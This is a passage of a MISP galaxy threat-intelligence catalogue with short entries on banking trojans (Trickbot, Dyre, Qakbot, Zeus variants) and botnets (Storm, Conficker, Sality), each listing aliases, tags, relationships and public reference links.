Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.

The tag is: *misp-galaxy:banker="Chthonic"*

Chthonic is also known as:

- Chtonic

Chthonic has relationships with:

- similar: misp-galaxy:malpedia="Chthonic" with estimative-language:likelihood-

probability="likely"

Table 445. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/

Trickbot

Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan

The tag is: *misp-galaxy:banker="Trickbot"*

Trickbot is also known as:

- Trickster
- Trickloader

Trickbot has relationships with:

- similar: misp-galaxy:tool="Trick Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"

Table 446. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/
http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html
https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/
https://www.bleepingcomputer.com/news/security/trickbot-banking-trojan-starts-stealing-windows-problem-history/

Dyre

Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architectur and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim’s computer.

The tag is: *misp-galaxy:banker="Dyre"*

Dyre is also known as:

- Dyreza

Dyre has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Dyre - S0024" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"

Table 447. Table References

Links
https://www.secureworks.com/research/dyre-banking-trojan
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/

Tinba

Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.

The tag is: *misp-galaxy:banker="Tinba"*

Tinba is also known as:

- Zusy
- TinyBanker
- illi

Tinba has relationships with:

- similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 448. Table References

Links
https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/
http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/
https://blog.avast.com/2014/09/15/tiny-banker-trojan-targets-customers-of-major-banks-worldwide/
http://my.infotex.com/tiny-banker-trojan/

Geodo

Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.

The tag is: *misp-galaxy:banker="Geodo"*

Geodo is also known as:

- Feodo Version C
- Emotet

Geodo has relationships with:

- similar: misp-galaxy:tool="Emotet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Geodo" with estimative-language:likelihood-probability="likely"

Table 449. Table References

Links
https://feodotracker.abuse.ch/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/
https://www.bleepingcomputer.com/news/security/emotet-banking-trojan-loves-usa-internet-providers/
https://www.bleepingcomputer.com/news/security/emotet-returns-with-thanksgiving-theme-and-better-phishing-tricks/
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet
https://cofense.com/major-us-financial-institutions-imitated-advanced-geodo-emotet-phishing-lures-appear-authentic-containing-proofpoint-url-wrapped-links/

Feodo

Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80 It is delivered primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Feodo"*

Feodo is also known as:

- Bugat
- Cridex

Feodo has relationships with:

- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Bugat" with estimative-language:likelihood-probability="likely"

Table 450. Table References

Links
https://securelist.com/dridex-a-history-of-evolution/78531/

https://feodotracker.abuse.ch/
http://stopmalvertising.com/rootkits/analysis-of-cridex.html

Ramnit

Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of perforrming Man-in-the-Browser attacks. Distributed primarily via exploit kits.

The tag is: *misp-galaxy:banker="Ramnit"*

Ramnit is also known as:

- Nimnul

Ramnit has relationships with:

- similar: misp-galaxy:botnet="Ramnit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 451. Table References

Links
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/

Qakbot

Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.

The tag is: *misp-galaxy:banker="Qakbot"*

Qakbot is also known as:

- Qbot
- Pinkslipbot

Qakbot has relationships with:

- similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"

Table 452. Table References

Links
https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/
https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/

https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf

Corebot

Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Corebot"*

Corebot has relationships with:

- similar: misp-galaxy:malpedia="Corebot" with estimative-language:likelihood-probability="likely"

Table 453. Table References

Links
https://securityintelligence.com/an-overnight-sensation-corebot-returns-as-a-full-fledged-financial-malware/
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/02/ASERT-Threat-Intelligence-Brief-2016-02-Corebot-1.pdf
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/

TinyNuke

TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It's main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="TinyNuke"*

TinyNuke is also known as:

- NukeBot
- Nuclear Bot
- MicroBankingTrojan
- Xbot

TinyNuke has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-tool="Xbot - MOB-S0014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"

Table 454. Table References

Links
https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/
https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/
https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4596
https://benkowlab.blogspot.ca/2017/08/quick-look-at-another-alina-fork-xbot.html

Retefe

Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails.

The tag is: *misp-galaxy:banker="Retefe"*

Retefe is also known as:

- Tsukuba
- Werdlod

Retefe has relationships with:

- similar: misp-galaxy:malpedia="Retefe" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 455. Table References

Links
https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/
https://countuponsecurity.com/2016/02/29/retefe-banking-trojan/
https://securityblog.switch.ch/2014/11/05/retefe-with-a-new-twist/
http://securityintelligence.com/tsukuba-banking-trojan-phishing-in-japanese-waters/

ReactorBot

ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.

The tag is: *misp-galaxy:banker="ReactorBot"*

ReactorBot has relationships with:

- similar: misp-galaxy:malpedia="ReactorBot" with estimative-language:likelihood-probability="likely"

Table 456. Table References

Links
http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html
https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

Matrix Banker

Matrix Banker is named accordingly because of the Matrix reference in it’s C2 panel. Distributed primarily via malspam emails.

The tag is: *misp-galaxy:banker="Matrix Banker"*

Matrix Banker has relationships with:

- similar: misp-galaxy:malpedia="Matrix Banker" with estimative-language:likelihood-probability="likely"

Table 457. Table References

Links
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/

Zeus Gameover

Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Zeus Gameover"*

Table 458. Table References

Links
https://heimdalsecurity.com/blog/zeus-gameover/
https://www.us-cert.gov/ncas/alerts/TA14-150A

SpyEye

SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="SpyEye"*

Table 459. Table References

Links
https://www.ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
https://www.computerworld.com/article/2509482/security0/spyeye-trojan-defeating-online-banking-defenses.html
https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot

Citadel

Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.

The tag is: *misp-galaxy:banker="Citadel"*

Citadel has relationships with:

- similar: misp-galaxy:malpedia="Citadel" with estimative-language:likelihood-probability="likely"

Table 460. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/
https://krebsonsecurity.com/tag/citadel-trojan/
https://securityintelligence.com/cybercriminals-use-citadel-compromise-password-management-authentication-solutions/

Atmos

Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Atmos"*

Table 461. Table References

Links
https://heimdalsecurity.com/blog/security-alert-citadel-trojan-resurfaces-atmos-zeus-legacy/
http://www.xylibox.com/2016/02/citadel-0011-atmos.html

Ice IX

Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.

The tag is: *misp-galaxy:banker="Ice IX"*

Ice IX has relationships with:

- similar: misp-galaxy:malpedia="Ice IX" with estimative-language:likelihood-probability="likely"

Table 462. Table References

Links
https://securelist.com/ice-ix-not-cool-at-all/29111/ [https://securelist.com/ice-ix-not-cool-at-all/29111/]

Zitmo

Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.

The tag is: *misp-galaxy:banker="Zitmo"*

Table 463. Table References

Links
https://securelist.com/zeus-in-the-mobile-for-android-10/29258/

Licat

Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011

The tag is: *misp-galaxy:banker="Licat"*

Licat is also known as:

- Murofet

Licat has relationships with:

- similar: misp-galaxy:malpedia="Murofet" with estimative-language:likelihood-probability="likely"

Table 464. Table References

Links
https://johannesbader.ch/2015/09/three-variants-of-murofets-dga/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_LICAT.A

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Virus%3aWin32%2fMurofet.A

Skynet

Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.

The tag is: *misp-galaxy:banker="Skynet"*

Table 465. Table References

Links
https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/

IcedID

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.

The tag is: *misp-galaxy:banker="IcedID"*

IcedID has relationships with:

- similar: misp-galaxy:malpedia="IcedID" with estimative-language:likelihood-probability="likely"

Table 466. Table References

Links
https://www.bleepingcomputer.com/news/security/new-icedid-banking-trojan-discovered/
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
http://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html

GratefulPOS

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: *misp-galaxy:banker="GratefulPOS"*

GratefulPOS has relationships with:

- similar: misp-galaxy:tool="GratefulPOS" with estimative-language:likelihood-probability="likely"

Table 467. Table References

Links
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

Dok

A macOS banking trojan that that redirects an infected user’s web traffic in order to extract banking credentials.

The tag is: *misp-galaxy:banker="Dok"*

Dok has relationships with:

- similar: misp-galaxy:malpedia="Retefe" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 468. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Dok

downAndExec

Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.

The tag is: *misp-galaxy:banker="downAndExec"*

Table 469. Table References

Links
https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/

Smominru

Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.

The tag is: *misp-galaxy:banker="Smominru"*

Smominru is also known as:

- Ismo
- lsmo

Smominru has relationships with:

- similar: misp-galaxy:malpedia="Smominru" with estimative-language:likelihood-probability="likely"

Table 470. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators

DanaBot

It’s a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)

The tag is: *misp-galaxy:banker="DanaBot"*

DanaBot has relationships with:

- similar: misp-galaxy:malpedia="DanaBot" with estimative-language:likelihood-probability="likely"

Table 471. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
https://www.bleepingcomputer.com/news/security/danabot-banking-malware-now-targeting-banks-in-the-us/

Backswap

The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload

The tag is: *misp-galaxy:banker="Backswap"*

Table 472. Table References

Links
https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-backswap/
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

Bebloh

The tag is: *misp-galaxy:banker="Bebloh"*

Bebloh is also known as:

- URLZone
- Shiotob

Bebloh has relationships with:

- similar: misp-galaxy:malpedia="UrlZone" with estimative-language:likelihood-probability="likely"

Table 473. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Bebloh.A
https://www.symantec.com/security-center/writeup/2011-041411-0912-99

Banjori

The tag is: *misp-galaxy:banker="Banjori"*

Banjori is also known as:

- MultiBanker 2
- BankPatch
- BackPatcher

Banjori has relationships with:

- similar: misp-galaxy:malpedia="Banjori" with estimative-language:likelihood-probability="likely"

Table 474. Table References

Links
https://www.johannesbader.ch/2015/02/the-dga-of-banjori/

Qadars

The tag is: *misp-galaxy:banker="Qadars"*

Qadars has relationships with:

- similar: misp-galaxy:malpedia="Qadars" with estimative-language:likelihood-probability="likely"

Table 475. Table References

Links
https://www.countercept.com/our-thinking/decrypting-qadars-banking-trojan-c2-traffic/

Sisron

The tag is: *misp-galaxy:banker="Sisron"*

Table 476. Table References

Links
https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

Ranbyus

The tag is: *misp-galaxy:banker="Ranbyus"*

Ranbyus has relationships with:

- similar: misp-galaxy:malpedia="Ranbyus" with estimative-language:likelihood-probability="likely"

Table 477. Table References

Links
https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

Fobber

The tag is: *misp-galaxy:banker="Fobber"*

Fobber has relationships with:

- similar: misp-galaxy:malpedia="Fobber" with estimative-language:likelihood-probability="likely"

Table 478. Table References

Links
https://searchfinancialsecurity.techtarget.com/news/4500249201/Fobber-Drive-by-financial-malware-returns-with-new-tricks

Karius

Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\64.exe, proxy32\64.dll and mod32\64.dll), these components essentially work together to deploy webinjects in several browsers.

The tag is: *misp-galaxy:banker="Karius"*

Karius has relationships with:

- similar: misp-galaxy:malpedia="Karius" with estimative-language:likelihood-probability="likely"

Table 479. Table References

Links
https://research.checkpoint.com/banking-trojans-development/

Kronos

Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.

The tag is: *misp-galaxy:banker="Kronos"*

Kronos has relationships with:

- similar: misp-galaxy:malpedia="Kronos" with estimative-language:likelihood-probability="likely"

Table 480. Table References

Links

https://en.wikipedia.org/wiki/Kronos_(malware)
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://www.bleepingcomputer.com/news/security/new-version-of-the-kronos-banking-trojan-discovered/

CamuBot

A newly discovered banking Trojan departs from the regular tactics observed by malware researchers by choosing visible installation and by adding social engineering components. CamuBot appeared last month in Brazil targeting companies and organizations from the public sector. The victim is the one installing the malware, at the instructions of a human operator that pretends to be a bank employee.

The tag is: *misp-galaxy:banker="CamuBot"*

CamuBot has relationships with:

- similar: misp-galaxy:malpedia="CamuBot" with estimative-language:likelihood-probability="likely"

Table 481. Table References

Links
https://www.bleepingcomputer.com/news/security/new-banking-trojan-poses-as-a-security-module/ [https://www.bleepingcomputer.com/news/security/new-banking-trojan-poses-as-a-security-module/]

Botnet

botnet galaxy.

Botnet is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

ADB.miner

A new botnet appeared over the weekend, and it’s targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.

The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system’s native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system’s most sensitive features.

Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360's Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.

The tag is: *misp-galaxy:botnet="ADB.miner"*

Table 482. Table References

Links
https://www.bleepingcomputer.com/news/security/android-devices-targeted-by-new-monero-mining-botnet/

Bagle

Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.

The tag is: *misp-galaxy:botnet="Bagle"*

Bagle is also known as:

- Beagle
- Mitglieder
- Lodeight

Bagle has relationships with:

- similar: misp-galaxy:malpedia="Bagle" with estimative-language:likelihood-probability="likely"

Table 483. Table References

Links
https://en.wikipedia.org/wiki/Bagle_(computer_worm)

Marina Botnet

Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.

The tag is: *misp-galaxy:botnet="Marina Botnet"*

Marina Botnet is also known as:

- Damon Briant
- BOB.dc
- Cotmonger

- Hacktool.Spammer
- Kraken

Marina Botnet has relationships with:

- similar: misp-galaxy:botnet="Kraken" with estimative-language:likelihood-probability="likely"

Table 484. Table References

Links
https://en.wikipedia.org/wiki/Botnet

Torpig

Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.

The tag is: *misp-galaxy:botnet="Torpig"*

Torpig is also known as:

- Sinowal
- Anserin

Torpig has relationships with:

- similar: misp-galaxy:malpedia="Sinowal" with estimative-language:likelihood-probability="likely"

Table 485. Table References

Links
https://en.wikipedia.org/wiki/Torpig

Storm

The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.

The tag is: *misp-galaxy:botnet="Storm"*

Storm is also known as:

- Nuwar
- Peacomm
- Zhelatin
- Dorf
- Ecard

Table 486. Table References

Links
https://en.wikipedia.org/wiki/Storm_botnet

Rustock

The tag is: *misp-galaxy:botnet="Rustock"*

Rustock is also known as:

- RKRustok
- Costrat

Rustock has relationships with:

- similar: misp-galaxy:malpedia="Rustock" with estimative-language:likelihood-probability="likely"

Table 487. Table References

Links
https://en.wikipedia.org/wiki/Rustock_botnet

Donbot

The tag is: *misp-galaxy:botnet="Donbot"*

Donbot is also known as:

- Buzus
- Bachsoy

Donbot has relationships with:

- similar: misp-galaxy:malpedia="Buzus" with estimative-language:likelihood-probability="likely"

Table 488. Table References

Links
https://en.wikipedia.org/wiki/Donbot_botnet

Cutwail

The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo

The tag is: *misp-galaxy:botnet="Cutwail"*

Cutwail is also known as:

- Pandex
- Mutant

Cutwail has relationships with:

- similar: misp-galaxy:malpedia="Cutwail" with estimative-language:likelihood-probability="likely"

Table 489. Table References

Links
https://en.wikipedia.org/wiki/Cutwail_botnet

Akbot

Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.

The tag is: *misp-galaxy:botnet="Akbot"*

Akbot has relationships with:

- similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"

Table 490. Table References

Links
https://en.wikipedia.org/wiki/Akbot

Srizbi

Srizbi BotNet, considered one of the world’s largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.

The tag is: *misp-galaxy:botnet="Srizbi"*

Srizbi is also known as:

- Cbeplay
- Exchanger

Table 491. Table References

Links
https://en.wikipedia.org/wiki/Srizbi_botnet

Lethic

The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.

The tag is: *misp-galaxy:botnet="Lethic"*

Lethic has relationships with:

- similar: misp-galaxy:malpedia="Lethic" with estimative-language:likelihood-probability="likely"

Table 492. Table References

Links
https://en.wikipedia.org/wiki/Lethic_botnet

Xarvester

The tag is: *misp-galaxy:botnet="Xarvester"*

Xarvester is also known as:

- Rlsloup
- Pixoliz

Table 493. Table References

Links
https://krebsonsecurity.com/tag/xarvester/

Sality

Sality is the classification for a family of malicious software (malware), which infects files on

Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.

The tag is: *misp-galaxy:botnet="Sality"*

Sality is also known as:

- Sector
- Kuku
- Sality
- SalLoad
- Kookoo
- SaliCode
- Kukacka

Sality has relationships with:

- similar: misp-galaxy:malpedia="Sality" with estimative-language:likelihood-probability="likely"

Table 494. Table References

Links
https://en.wikipedia.org/wiki/Sality

Mariposa

The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.

The tag is: *misp-galaxy:botnet="Mariposa"*

Table 495. Table References

Links
https://en.wikipedia.org/wiki/Mariposa_botnet

Conficker

Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the

Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.

The tag is: *misp-galaxy:botnet="Conficker"*

Conficker is also known as:

- DownUp
- DownAndUp
- DownAdUp
- Kido

Conficker has relationships with:

- similar: misp-galaxy:malpedia="Conficker" with estimative-language:likelihood-probability="likely"

Table 496. Table References

Links
https://en.wikipedia.org/wiki/Conficker

Waledac

Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.

The tag is: *misp-galaxy:botnet="Waledac"*

Waledac is also known as:

- Waled
- Waledpak

Table 497. Table References

Links
https://en.wikipedia.org/wiki/Waledac_botnet

Maazben

A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.

The tag is: *misp-galaxy:botnet="Maazben"*

Table 498. Table References

Links
https://www.symantec.com/connect/blogs/evaluating-botnet-capacity

Onewordsub

The tag is: *misp-galaxy:botnet="Onewordsub"*

Table 499. Table References

Links
https://www.botnets.fr/wiki/OneWordSub

Gheg

Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).

The tag is: *misp-galaxy:botnet="Gheg"*

Gheg is also known as:

- Tofsee
- Mondera

Gheg has relationships with:

- similar: misp-galaxy:malpedia="Tofsee" with estimative-language:likelihood-probability="likely"

Table 500. Table References

Links
https://www.cert.pl/en/news/single/tofsee-en/

Nucrypt

The tag is: *misp-galaxy:botnet="Nucrypt"*

Table 501. Table References

Links
